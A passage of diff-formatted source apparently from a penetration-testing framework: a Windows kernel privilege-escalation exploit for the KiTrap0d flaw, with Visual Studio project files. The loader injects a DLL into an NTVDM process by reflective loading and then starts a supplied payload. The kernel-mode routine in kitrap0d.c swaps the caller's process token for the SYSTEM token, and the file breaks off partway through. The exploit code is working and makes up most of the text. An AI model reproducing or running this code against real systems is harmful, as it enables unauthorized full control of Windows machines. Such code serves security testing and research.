dprintf("[KITRAP0D] elevate_via_exploit_kitrap0d. Starting with HMODULE %x ...", hElevateModule);
|
||||
|
||||
if (lpPayload == NULL) {
|
||||
BREAK_WITH_ERROR("[KITRAP0D] payload argument not specified", ERROR_BAD_ARGUMENTS);
|
||||
}
|
||||
|
||||
if (resource_extract_raw(hElevateModule, IDR_DLL_KITRAP0D, "DLL", (LPBYTE*)&lpServiceBuffer, &dwServiceLength) != ERROR_SUCCESS) {
|
||||
BREAK_WITH_ERROR("[KITRAP0D] elevate_via_exploit_kitrap0d. Failed to find/load kitrap0d.dll", ERROR_BAD_ARGUMENTS);
|
||||
}
|
||||
|
||||
if (!dwServiceLength || !lpServiceBuffer) {
|
||||
BREAK_WITH_ERROR("[KITRAP0D] elevate_via_exploit_kitrap0d. Failed to find/load kitrap0d.dll", ERROR_BAD_ARGUMENTS);
|
||||
}
|
||||
|
||||
// 1. first get a file path to a suitable exe...
|
||||
if (!elevate_via_exploit_getpath(cVdmPath, MAX_PATH)) {
|
||||
BREAK_WITH_ERROR("[KITRAP0D] elevate_via_exploit_kitrap0d. elevate_via_exploit_getpath failed", ERROR_FILE_NOT_FOUND);
|
||||
}
|
||||
|
||||
// 2. Scan kernel image for the required code sequence, and find the base address...
|
||||
if (!kitrap0d_scan_kernel(&dwKernelBase, &dwOffset)) {
|
||||
BREAK_WITH_ERROR("[KITRAP0D] elevate_via_exploit_kitrap0d. kitrap0d_scanforcodesignature failed", ERROR_INVALID_HANDLE);
|
||||
}
|
||||
|
||||
// 3. Invoke the NTVDM subsystem, by launching any MS-DOS executable...
|
||||
dprintf("[KITRAP0D] elevate_via_exploit_kitrap0d. Starting the NTVDM subsystem by launching MS-DOS executable");
|
||||
|
||||
if (!kitrap0d_spawn_ntvdm(cVdmPath, &hVdm)) {
|
||||
BREAK_WITH_ERROR("[KITRAP0D] elevate_via_exploit_kitrap0d. kitrap0d_spawn_ntvdm failed", ERROR_INVALID_HANDLE);
|
||||
}
|
||||
|
||||
// 4. Use RDI to inject the elevator dll into the remote NTVDM process...
|
||||
// Passing in the parameters required by exploit thread via the LoadRemoteLibraryR inject technique.
|
||||
_snprintf_s(cCommandLine, sizeof(cCommandLine), sizeof(cCommandLine), "/VDM_TARGET_PID:0x%08X /VDM_TARGET_KRN:0x%08X /VDM_TARGET_OFF:0x%08X\x00", GetCurrentProcessId(), dwKernelBase, dwOffset);
|
||||
|
||||
// alloc some space and write the commandline which we will pass to the injected dll...
|
||||
lpRemoteCommandLine = VirtualAllocEx(hVdm, NULL, strlen(cCommandLine) + 1, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
|
||||
|
||||
if (!lpRemoteCommandLine) {
|
||||
BREAK_ON_ERROR("[KITRAP0D] elevate_via_exploit_kitrap0d. VirtualAllocEx failed");
|
||||
}
|
||||
|
||||
if (!WriteProcessMemory(hVdm, lpRemoteCommandLine, cCommandLine, strlen(cCommandLine) + 1, NULL)) {
|
||||
BREAK_ON_ERROR("[KITRAP0D] elevate_via_exploit_kitrap0d. WriteProcessMemory failed");
|
||||
}
|
||||
|
||||
// inject the dll...
|
||||
hThread = LoadRemoteLibraryR(hVdm, lpServiceBuffer, dwServiceLength, lpRemoteCommandLine);
|
||||
if (!hThread) {
|
||||
BREAK_ON_ERROR("[KITRAP0D] elevate_via_exploit_kitrap0d. LoadRemoteLibraryR failed");
|
||||
}
|
||||
|
||||
// 5. Wait for the thread to complete
|
||||
dprintf("[KITRAP0D] elevate_via_exploit_kitrap0d. WaitForSingleObject(%#x, INFINITE);", hThread);
|
||||
WaitForSingleObject(hThread, INFINITE);
|
||||
|
||||
// pass some information back via the exit code to indicate what happened.
|
||||
GetExitCodeThread(hThread, &dwExitCode);
|
||||
|
||||
dprintf("[KITRAP0D] elevate_via_exploit_kitrap0d. GetExitCodeThread(%#x, %p); => %#x", hThread, &dwExitCode, dwExitCode);
|
||||
|
||||
switch (dwExitCode)
|
||||
{
|
||||
case 'VTIB':
|
||||
// A data structure supplied to the kernel called VDM_TIB has to have a 'size' field that
|
||||
// matches what the kernel expects.
|
||||
// Try running `kd -kl -c 'uf nt!VdmpGetVdmTib;q'` and looking for the size comparison.
|
||||
BREAK_WITH_ERROR("[KITRAP0D] elevate_via_exploit_kitrap0d. The exploit thread was unable to find the size of the VDM_TIB structure", dwExitCode);
|
||||
case 'NTAV':
|
||||
// NtAllocateVirtualMemory() can usually be used to map the NULL page, which NtVdmControl()
|
||||
// expects to be present.
|
||||
// The exploit thread reports it didn't work.
|
||||
BREAK_WITH_ERROR("[KITRAP0D] elevate_via_exploit_kitrap0d. The exploit thread was unable to map the virtual 8086 address space", dwExitCode);
|
||||
case 'VDMC':
|
||||
// NtVdmControl() must be initialised before you can begin vm86 execution, but it failed.
|
||||
// It's entirely undocumented, so you'll have to use kd to step through it and find out why
|
||||
// it's failing.
|
||||
BREAK_WITH_ERROR("[KITRAP0D] elevate_via_exploit_kitrap0d. The exploit thread reports NtVdmControl() failed", dwExitCode);
|
||||
case 'LPID':
|
||||
// This exploit will try to transplant the token from PsInitialSystemProcess on to an
|
||||
// unprivileged process owned by you.
|
||||
// PsLookupProcessByProcessId() failed when trying to find your process.
|
||||
BREAK_WITH_ERROR("[KITRAP0D] elevate_via_exploit_kitrap0d. The exploit thread reports that PsLookupProcessByProcessId() failed", dwExitCode);
|
||||
case FALSE:
|
||||
// This probably means LoadLibrary() failed, perhaps the exploit dll could not be found?
|
||||
// Verify the vdmexploit.dll file exists, is readable and is in a suitable location.
|
||||
BREAK_WITH_ERROR("[KITRAP0D] elevate_via_exploit_kitrap0d. The exploit thread was unable to load the injected dll", dwExitCode);
|
||||
case 'w00t':
|
||||
// This means the exploit payload was executed at ring0 and succeeded.
|
||||
BREAK_WITH_ERROR("[KITRAP0D] elevate_via_exploit_kitrap0d. The exploit thread reports exploitation was successful", ERROR_SUCCESS);
|
||||
default:
|
||||
// Unknown error. Sorry, you're on your own.
|
||||
BREAK_WITH_ERROR("[KITRAP0D] elevate_via_exploit_kitrap0d. The exploit thread returned an unexpected error. ", dwExitCode);
|
||||
}
|
||||
|
||||
} while (0);
|
||||
|
||||
if (hVdm)
|
||||
{
|
||||
TerminateProcess(hVdm, 0);
|
||||
CloseHandle(hVdm);
|
||||
}
|
||||
|
||||
if (hThread)
|
||||
{
|
||||
CloseHandle(hThread);
|
||||
}
|
||||
|
||||
// if we succeeded, we need to run our payload in another thread.
|
||||
if (dwResult == ERROR_SUCCESS) {
|
||||
CreateThread(0, 0, execute_payload, lpPayload, 0, NULL);
|
||||
}
|
||||
|
||||
return dwResult;
|
||||
}
|
||||
|
||||
/*!
|
||||
* @brief Entry point to the exploit DLL.
|
||||
* @param hinstDLL Reference to the DLL's module.
|
||||
* @param dwReason The reason code for the invocation.
|
||||
* @param lpReserved A reserved value, used by the exploit code.
|
||||
* - \c RUN_EXPLOIT_KITRAP0D - Execute the KiTrap0d exploit.
|
||||
* @returns \c TRUE all the time.
|
||||
* @remark The \c lpReserved value contains a number which identifies which
|
||||
* exploit to invoke. This needs to be passed in from MSF, otherwise
|
||||
* no exploit funtionality will be invoked.
|
||||
*/
|
||||
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved)
|
||||
{
|
||||
DWORD dwExploit = 0;
|
||||
BOOL bReturnValue = TRUE;
|
||||
|
||||
switch (dwReason)
|
||||
{
|
||||
case DLL_PROCESS_ATTACH:
|
||||
hAppInstance = hinstDLL;
|
||||
elevate_via_exploit_kitrap0d(hinstDLL, lpReserved);
|
||||
break;
|
||||
case DLL_QUERY_HMODULE:
|
||||
if (lpReserved != NULL) {
|
||||
*(HMODULE *)lpReserved = hAppInstance;
|
||||
}
|
||||
break;
|
||||
case DLL_PROCESS_DETACH:
|
||||
case DLL_THREAD_ATTACH:
|
||||
case DLL_THREAD_DETACH:
|
||||
break;
|
||||
}
|
||||
return bReturnValue;
|
||||
}
|
Binary file not shown.
|
@ -0,0 +1,145 @@
|
|||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project DefaultTargets="Build" ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<ItemGroup Label="ProjectConfigurations">
|
||||
<ProjectConfiguration Include="Debug|Win32">
|
||||
<Configuration>Debug</Configuration>
|
||||
<Platform>Win32</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Release|Win32">
|
||||
<Configuration>Release</Configuration>
|
||||
<Platform>Win32</Platform>
|
||||
</ProjectConfiguration>
|
||||
</ItemGroup>
|
||||
<PropertyGroup Label="Globals">
|
||||
<ProjectGuid>{6B678096-E18A-427A-A8A3-C268AD2E12B8}</ProjectGuid>
|
||||
<RootNamespace>kitrap0d</RootNamespace>
|
||||
<Keyword>Win32Proj</Keyword>
|
||||
</PropertyGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
|
||||
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
||||
<CharacterSet>MultiByte</CharacterSet>
|
||||
<WholeProgramOptimization>false</WholeProgramOptimization>
|
||||
<PlatformToolset>v120_xp</PlatformToolset>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
|
||||
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
||||
<CharacterSet>MultiByte</CharacterSet>
|
||||
<PlatformToolset>v120_xp</PlatformToolset>
|
||||
</PropertyGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
|
||||
<ImportGroup Label="ExtensionSettings">
|
||||
<Import Project="$(VCTargetsPath)\BuildCustomizations\masm.props" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<PropertyGroup Label="UserMacros" />
|
||||
<PropertyGroup>
|
||||
<_ProjectFileVersion>10.0.30319.1</_ProjectFileVersion>
|
||||
<OutDir>$(Configuration)\$(Platform)\</OutDir>
|
||||
<IntDir>$(Configuration)\$(Platform)\</IntDir>
|
||||
<LinkIncremental>false</LinkIncremental>
|
||||
<GenerateManifest>false</GenerateManifest>
|
||||
<CodeAnalysisRuleSet>AllRules.ruleset</CodeAnalysisRuleSet>
|
||||
<CodeAnalysisRules />
|
||||
<CodeAnalysisRuleAssemblies />
|
||||
<TargetName>$(ProjectName).$(PlatformShortName)</TargetName>
|
||||
</PropertyGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<ClCompile>
|
||||
<Optimization>Disabled</Optimization>
|
||||
<AdditionalIncludeDirectories>%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
<PreprocessorDefinitions>WIN32;_DEBUG;_WINDOWS;_USRDLL;KITRAP0D_EXPORTS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<MinimalRebuild>true</MinimalRebuild>
|
||||
<BasicRuntimeChecks>EnableFastChecks</BasicRuntimeChecks>
|
||||
<RuntimeLibrary>MultiThreadedDebug</RuntimeLibrary>
|
||||
<PrecompiledHeader>
|
||||
</PrecompiledHeader>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<AdditionalDependencies>Mpr.lib;%(AdditionalDependencies)</AdditionalDependencies>
|
||||
<AdditionalLibraryDirectories>%(AdditionalLibraryDirectories)</AdditionalLibraryDirectories>
|
||||
<DelayLoadDLLs>%(DelayLoadDLLs)</DelayLoadDLLs>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
<SubSystem>Windows</SubSystem>
|
||||
<TargetMachine>MachineX86</TargetMachine>
|
||||
<ModuleDefinitionFile>
|
||||
</ModuleDefinitionFile>
|
||||
<AdditionalOptions>/ignore:4070</AdditionalOptions>
|
||||
</Link>
|
||||
<PostBuildEvent>
|
||||
<Command>editbin.exe /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,4.0 "$(TargetDir)$(TargetFileName)" > NUL</Command>
|
||||
</PostBuildEvent>
|
||||
<ResourceCompile>
|
||||
<PreprocessorDefinitions>_DEBUG;_USING_V110_SDK71_;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
</ResourceCompile>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
<ClCompile>
|
||||
<Optimization>MinSpace</Optimization>
|
||||
<InlineFunctionExpansion>OnlyExplicitInline</InlineFunctionExpansion>
|
||||
<IntrinsicFunctions>false</IntrinsicFunctions>
|
||||
<AdditionalIncludeDirectories>%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
<PreprocessorDefinitions>WIN32;NDEBUG;_WINDOWS;_USRDLL;KITRAP0D_EXPORTS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<StringPooling>true</StringPooling>
|
||||
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
|
||||
<FunctionLevelLinking>false</FunctionLevelLinking>
|
||||
<PrecompiledHeader>
|
||||
</PrecompiledHeader>
|
||||
<AssemblerListingLocation>$(OutDir)\</AssemblerListingLocation>
|
||||
<ObjectFileName>$(OutDir)\</ObjectFileName>
|
||||
<ProgramDataBaseFileName>$(OutDir)\</ProgramDataBaseFileName>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<DebugInformationFormat>ProgramDatabase</DebugInformationFormat>
|
||||
<BufferSecurityCheck>false</BufferSecurityCheck>
|
||||
<FavorSizeOrSpeed>Size</FavorSizeOrSpeed>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<AdditionalDependencies>Mpr.lib;%(AdditionalDependencies)</AdditionalDependencies>
|
||||
<AdditionalLibraryDirectories>%(AdditionalLibraryDirectories)</AdditionalLibraryDirectories>
|
||||
<IgnoreAllDefaultLibraries>false</IgnoreAllDefaultLibraries>
|
||||
<IgnoreSpecificDefaultLibraries>%(IgnoreSpecificDefaultLibraries)</IgnoreSpecificDefaultLibraries>
|
||||
<DelayLoadDLLs>%(DelayLoadDLLs)</DelayLoadDLLs>
|
||||
<GenerateDebugInformation>false</GenerateDebugInformation>
|
||||
<GenerateMapFile>true</GenerateMapFile>
|
||||
<MapFileName>$(OutDir)\kitrap0d.map</MapFileName>
|
||||
<SubSystem>Windows</SubSystem>
|
||||
<OptimizeReferences>
|
||||
</OptimizeReferences>
|
||||
<EnableCOMDATFolding>
|
||||
</EnableCOMDATFolding>
|
||||
<RandomizedBaseAddress>false</RandomizedBaseAddress>
|
||||
<DataExecutionPrevention>
|
||||
</DataExecutionPrevention>
|
||||
<ImportLibrary>$(OutDir)\kitrap0d.lib</ImportLibrary>
|
||||
<TargetMachine>MachineX86</TargetMachine>
|
||||
<Profile>false</Profile>
|
||||
<ModuleDefinitionFile>
|
||||
</ModuleDefinitionFile>
|
||||
<AdditionalOptions>/ignore:4070</AdditionalOptions>
|
||||
</Link>
|
||||
<PostBuildEvent>
|
||||
<Command>editbin.exe /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,4.0 "$(TargetDir)$(TargetFileName)" > NUL</Command>
|
||||
</PostBuildEvent>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemGroup>
|
||||
<ClCompile Include="..\common\LoadLibraryR.c" />
|
||||
<ClCompile Include="..\common\ResourceLoader.c" />
|
||||
<ClCompile Include="kitrap0d.c" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClInclude Include="..\common\common.h" />
|
||||
<ClInclude Include="..\common\LoadLibraryR.h" />
|
||||
<ClInclude Include="..\common\ResourceLoader.h" />
|
||||
<ClInclude Include="resource.h" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ResourceCompile Include="kitrap0d.rc" />
|
||||
</ItemGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
|
||||
<ImportGroup Label="ExtensionTargets">
|
||||
<Import Project="$(VCTargetsPath)\BuildCustomizations\masm.targets" />
|
||||
</ImportGroup>
|
||||
</Project>
|
|
@ -0,0 +1,32 @@
|
|||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<ItemGroup>
|
||||
<ClCompile Include="kitrap0d.c" />
|
||||
<ClCompile Include="..\common\LoadLibraryR.c">
|
||||
<Filter>common</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="..\common\ResourceLoader.c">
|
||||
<Filter>common</Filter>
|
||||
</ClCompile>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClInclude Include="resource.h" />
|
||||
<ClInclude Include="..\common\common.h">
|
||||
<Filter>common</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="..\common\LoadLibraryR.h">
|
||||
<Filter>common</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="..\common\ResourceLoader.h">
|
||||
<Filter>common</Filter>
|
||||
</ClInclude>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ResourceCompile Include="kitrap0d.rc" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<Filter Include="common">
|
||||
<UniqueIdentifier>{cbb362dd-4029-4348-86d3-62c4b22c742d}</UniqueIdentifier>
|
||||
</Filter>
|
||||
</ItemGroup>
|
||||
</Project>
|
Binary file not shown.
|
@ -0,0 +1,368 @@
|
|||
/*!
|
||||
* @file kitrap0d.c
|
||||
* @brief A port of HDM's/Pusscat's implementation of Tavis Ormandy's code (vdmallowed.c).
|
||||
* @remark See http://archives.neohapsis.com/archives/fulldisclosure/2010-01/0346.html
|
||||
*/
|
||||
|
||||
#ifndef WIN32_NO_STATUS
|
||||
# define WIN32_NO_STATUS
|
||||
#endif
|
||||
#include <windows.h>
|
||||
#include <stdio.h>
|
||||
#include "../common/common.h"
|
||||
#include "kitrap0d.h"
|
||||
#include <winerror.h>
|
||||
#include <winternl.h>
|
||||
#include <stddef.h>
|
||||
#ifdef WIN32_NO_STATUS
|
||||
# undef WIN32_NO_STATUS
|
||||
#endif
|
||||
#include <ntstatus.h>
|
||||
|
||||
#ifdef _WIN64
|
||||
|
||||
/*
|
||||
* This is not implemented for the x64 build.
|
||||
*/
|
||||
VOID elevator_kitrap0d( DWORD dwProcessId, DWORD dwKernelBase, DWORD dwOffset )
|
||||
{
|
||||
return;
|
||||
}
|
||||
|
||||
#else
|
||||
|
||||
/*! * @brief Global target process ID. */
|
||||
static DWORD dwTargetProcessId = 0;
|
||||
/*! * @brief Global pointer to the kernel stack. */
|
||||
static DWORD * lpKernelStackPointer = NULL;
|
||||
/*! * @brief Global reference to the kernel itself. */
|
||||
static HMODULE hKernel = NULL;
|
||||
|
||||
/*!
|
||||
* @brief Find an exported kernel symbol by name.
|
||||
* @param SymbolName The name of the symbol to find.
|
||||
* @returns Pointer to the symbol, if found.
|
||||
*/
|
||||
PVOID elevator_kitrap0d_kernelgetproc(PSTR SymbolName)
|
||||
{
|
||||
PUCHAR ImageBase = NULL;
|
||||
PULONG NameTable = NULL;
|
||||
PULONG FunctionTable = NULL;
|
||||
PUSHORT OrdinalTable = NULL;
|
||||
PIMAGE_EXPORT_DIRECTORY ExportDirectory = NULL;
|
||||
PIMAGE_DOS_HEADER DosHeader = NULL;
|
||||
PIMAGE_NT_HEADERS PeHeader = NULL;
|
||||
DWORD i = 0;
|
||||
|
||||
ImageBase = (PUCHAR)hKernel;
|
||||
DosHeader = (PIMAGE_DOS_HEADER)ImageBase;
|
||||
PeHeader = (PIMAGE_NT_HEADERS)(ImageBase + DosHeader->e_lfanew);
|
||||
ExportDirectory = (PIMAGE_EXPORT_DIRECTORY)(ImageBase + PeHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
|
||||
|
||||
// Find required tables from the ExportDirectory...
|
||||
NameTable = (PULONG)(ImageBase + ExportDirectory->AddressOfNames);
|
||||
FunctionTable = (PULONG)(ImageBase + ExportDirectory->AddressOfFunctions);
|
||||
OrdinalTable = (PUSHORT)(ImageBase + ExportDirectory->AddressOfNameOrdinals);
|
||||
|
||||
// Scan each entry for a matching name.
|
||||
for (i = 0; i < ExportDirectory->NumberOfNames; i++)
|
||||
{
|
||||
PCHAR Symbol = ImageBase + NameTable[i];
|
||||
|
||||
if (strcmp(Symbol, SymbolName) == 0)
|
||||
{
|
||||
// Symbol found, return the appropriate entry from FunctionTable.
|
||||
return (PVOID)(ImageBase + FunctionTable[OrdinalTable[i]]);
|
||||
}
|
||||
}
|
||||
|
||||
// Symbol not found, this is likely fatal :-(
|
||||
return NULL;
|
||||
}
|
||||
|
||||
/*!
|
||||
* @brief Replace a value if it falls between a given range.
|
||||
*/
|
||||
BOOL elevator_kitrap0d_checkandreplace(PDWORD checkMe, DWORD rangeStart, DWORD rangeEnd, DWORD value)
|
||||
{
|
||||
if (*checkMe >= rangeStart && *checkMe <= rangeEnd)
|
||||
{
|
||||
*checkMe = value;
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
/*!
|
||||
* @brief Search the specified data structure for a member with CurrentValue.
|
||||
*/
|
||||
BOOL elevator_kitrap0d_findandreplace( PDWORD Structure, DWORD CurrentValue, DWORD NewValue, DWORD MaxSize, BOOL ObjectRefs)
|
||||
{
|
||||
DWORD i = 0;
|
||||
DWORD Mask = 0;
|
||||
|
||||
// Microsoft QWORD aligns object pointers, then uses the lower three
|
||||
// bits for quick reference counting (nice trick).
|
||||
Mask = ObjectRefs ? ~7 : ~0;
|
||||
|
||||
// Mask out the reference count.
|
||||
CurrentValue &= Mask;
|
||||
|
||||
// Scan the structure for any occurrence of CurrentValue.
|
||||
for( i = 0 ; i < MaxSize ; i++ )
|
||||
{
|
||||
if( (Structure[i] & Mask) == CurrentValue )
|
||||
{
|
||||
// And finally, replace it with NewValue.
|
||||
Structure[i] = NewValue;
|
||||
return TRUE;
|
||||
}
|
||||
}
|
||||
|
||||
// Member not found.
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
/*!
|
||||
* @brief This routine is where we land after successfully triggering the vulnerability.
|
||||
*/
|
||||
#pragma warning(disable: 4731)
|
||||
VOID elevator_kitrap0d_firststage(VOID)
|
||||
{
|
||||
FARPROC DbgPrint = NULL;
|
||||
FARPROC PsGetCurrentThread = NULL;
|
||||
FARPROC PsGetCurrentThreadStackBase = NULL;
|
||||
FARPROC PsGetCurrentThreadStackLimit = NULL;
|
||||
FARPROC PsLookupProcessByProcessId = NULL;
|
||||
FARPROC PsReferencePrimaryToken = NULL;
|
||||
FARPROC ZwTerminateProcess = NULL;
|
||||
PVOID CurrentThread = NULL;
|
||||
PVOID TargetProcess = NULL;
|
||||
PVOID * PsInitialSystemProcess = NULL;
|
||||
HANDLE pret = NULL;
|
||||
DWORD StackBase = 0;
|
||||
DWORD StackLimit = 0;
|
||||
DWORD NewStack = 0;
|
||||
DWORD i = 0;
|
||||
DWORD dwEThreadOffsets[] = {
|
||||
0x6, // WinXP SP3, VistaSP2
|
||||
0xA // Windows 7, VistaSP1
|
||||
};
|
||||
|
||||
// Keep interrupts off until we've repaired the KTHREAD.
|
||||
__asm cli
|
||||
|
||||
// Resolve some routines we need from the kernel export directory
|
||||
DbgPrint = elevator_kitrap0d_kernelgetproc("DbgPrint");
|
||||
PsGetCurrentThread = elevator_kitrap0d_kernelgetproc("PsGetCurrentThread");
|
||||
PsGetCurrentThreadStackBase = elevator_kitrap0d_kernelgetproc("PsGetCurrentThreadStackBase");
|
||||
PsGetCurrentThreadStackLimit = elevator_kitrap0d_kernelgetproc("PsGetCurrentThreadStackLimit");
|
||||
PsInitialSystemProcess = elevator_kitrap0d_kernelgetproc("PsInitialSystemProcess");
|
||||
PsLookupProcessByProcessId = elevator_kitrap0d_kernelgetproc("PsLookupProcessByProcessId");
|
||||
PsReferencePrimaryToken = elevator_kitrap0d_kernelgetproc("PsReferencePrimaryToken");
|
||||
ZwTerminateProcess = elevator_kitrap0d_kernelgetproc("ZwTerminateProcess");
|
||||
|
||||
CurrentThread = (PVOID)PsGetCurrentThread();
|
||||
StackLimit = (DWORD)PsGetCurrentThreadStackLimit();
|
||||
StackBase = (DWORD)PsGetCurrentThreadStackBase();
|
||||
|
||||
NewStack = StackBase - ((StackBase - StackLimit) / 2);
|
||||
|
||||
// First we need to repair the CurrentThread, find all references to the fake kernel
|
||||
// stack and repair them. Note that by "repair" we mean randomly point them
|
||||
// somewhere inside the real stack.
|
||||
|
||||
// Walk only the offsets that could possibly be bad based on testing, and see if they need
|
||||
// to be swapped out. O(n^2) -> O(c) wins the race!
|
||||
for (i = 0; i < sizeof(dwEThreadOffsets) / sizeof (DWORD); i++) {
|
||||
elevator_kitrap0d_checkandreplace((((PDWORD)CurrentThread) + dwEThreadOffsets[i]), (DWORD)&lpKernelStackPointer[0], (DWORD)&lpKernelStackPointer[KSTACKSIZE - 1], (DWORD)NewStack);
|
||||
}
|
||||
|
||||
// Find the EPROCESS structure for the process we want to escalate
|
||||
if (PsLookupProcessByProcessId(dwTargetProcessId, &TargetProcess) == STATUS_SUCCESS)
|
||||
{
|
||||
PACCESS_TOKEN SystemToken = NULL;
|
||||
PACCESS_TOKEN TargetToken = NULL;
|
||||
|
||||
// What's the maximum size the EPROCESS structure is ever likely to be?
|
||||
CONST DWORD MaxExpectedEprocessSize = 0x200;
|
||||
|
||||
// DbgPrint("PsLookupProcessByProcessId(%u) => %p\n", TargetPid, TargetProcess);
|
||||
//DbgPrint("PsInitialSystemProcess @%p\n", *PsInitialSystemProcess);
|
||||
|
||||
// Find the Token object for my target process, and the SYSTEM process.
|
||||
TargetToken = (PACCESS_TOKEN)PsReferencePrimaryToken(TargetProcess);
|
||||
|
||||
SystemToken = (PACCESS_TOKEN)PsReferencePrimaryToken(*PsInitialSystemProcess);
|
||||
|
||||
//DbgPrint("PsReferencePrimaryToken(%p) => %p\n", TargetProcess, TargetToken);
|
||||
//DbgPrint("PsReferencePrimaryToken(%p) => %p\n", *PsInitialSystemProcess, SystemToken);
|
||||
|
||||
// Find the token in the target process, and replace with the system token.
|
||||
elevator_kitrap0d_findandreplace((PDWORD)TargetProcess, (DWORD)TargetToken, (DWORD)SystemToken, MaxExpectedEprocessSize, TRUE);
|
||||
|
||||
// Success
|
||||
pret = (HANDLE)'w00t';
|
||||
}
|
||||
else
|
||||
{
|
||||
// Maybe the user closed the window?
|
||||
// Report this failure
|
||||
pret = (HANDLE)'LPID';
|
||||
}
|
||||
|
||||
__asm
|
||||
{
|
||||
mov eax, -1 // ZwCurrentProcess macro returns -1
|
||||
mov ebx, NewStack
|
||||
mov ecx, pret
|
||||
mov edi, ZwTerminateProcess
|
||||
mov esp, ebx // Swap the stack back to kernel-land
|
||||
mov ebp, ebx // Swap the frame pointer back to kernel-land
|
||||
sub esp, 256
|
||||
push ecx // Push the return code
|
||||
push eax // Push the process handle
|
||||
sti // Restore interrupts finally
|
||||
call edi // Call ZwTerminateProcess
|
||||
__emit 0xCC; // Hope we never end up here
|
||||
};
|
||||
|
||||
}
|
||||
#pragma warning(default: 4731)
|
||||
|
||||
/*!
|
||||
* @brief Setup a minimal execution environment to satisfy NtVdmControl().
|
||||
*/
|
||||
BOOL elevator_kitrap0d_initvdmsubsystem(VOID)
|
||||
{
|
||||
DWORD dwResult = ERROR_SUCCESS;
|
||||
FARPROC pNtAllocateVirtualMemory = NULL;
|
||||
FARPROC pNtFreeVirtualMemory = NULL;
|
||||
FARPROC pNtVdmControl = NULL;
|
||||
PBYTE BaseAddress = (PVOID)0x00000001;
|
||||
HMODULE hNtdll = NULL;
|
||||
ULONG RegionSize = 0;
|
||||
static DWORD TrapHandler[128] = { 0 };
|
||||
static DWORD IcaUserData[128] = { 0 };
|
||||
|
||||
static struct {
|
||||
PVOID TrapHandler;
|
||||
PVOID IcaUserData;
|
||||
} InitData;
|
||||
|
||||
do
|
||||
{
|
||||
hNtdll = GetModuleHandle("ntdll");
|
||||
if (!hNtdll) {
|
||||
BREAK_WITH_ERROR("[KITRAP0D] elevator_kitrap0d_initvdmsubsystem. GetModuleHandle ntdll failed", ERROR_INVALID_PARAMETER);
|
||||
}
|
||||
|
||||
pNtAllocateVirtualMemory = GetProcAddress(hNtdll, "NtAllocateVirtualMemory");
|
||||
pNtFreeVirtualMemory = GetProcAddress(hNtdll, "NtFreeVirtualMemory");
|
||||
pNtVdmControl = GetProcAddress(hNtdll, "NtVdmControl");
|
||||
|
||||
if (!pNtAllocateVirtualMemory || !pNtFreeVirtualMemory || !pNtVdmControl) {
|
||||
BREAK_WITH_ERROR("[KITRAP0D] elevator_kitrap0d_initvdmsubsystem. invalid params", ERROR_INVALID_PARAMETER);
|
||||
}
|
||||
|
||||
InitData.TrapHandler = TrapHandler;
|
||||
InitData.IcaUserData = IcaUserData;
|
||||
|
||||
// Remove anything currently mapped at NULL
|
||||
pNtFreeVirtualMemory(GetCurrentProcess(), &BaseAddress, &RegionSize, MEM_RELEASE);
|
||||
|
||||
BaseAddress = (PVOID)0x00000001;
|
||||
RegionSize = (ULONG)0x00100000;
|
||||
|
||||
// Allocate the 1MB virtual 8086 address space.
|
||||
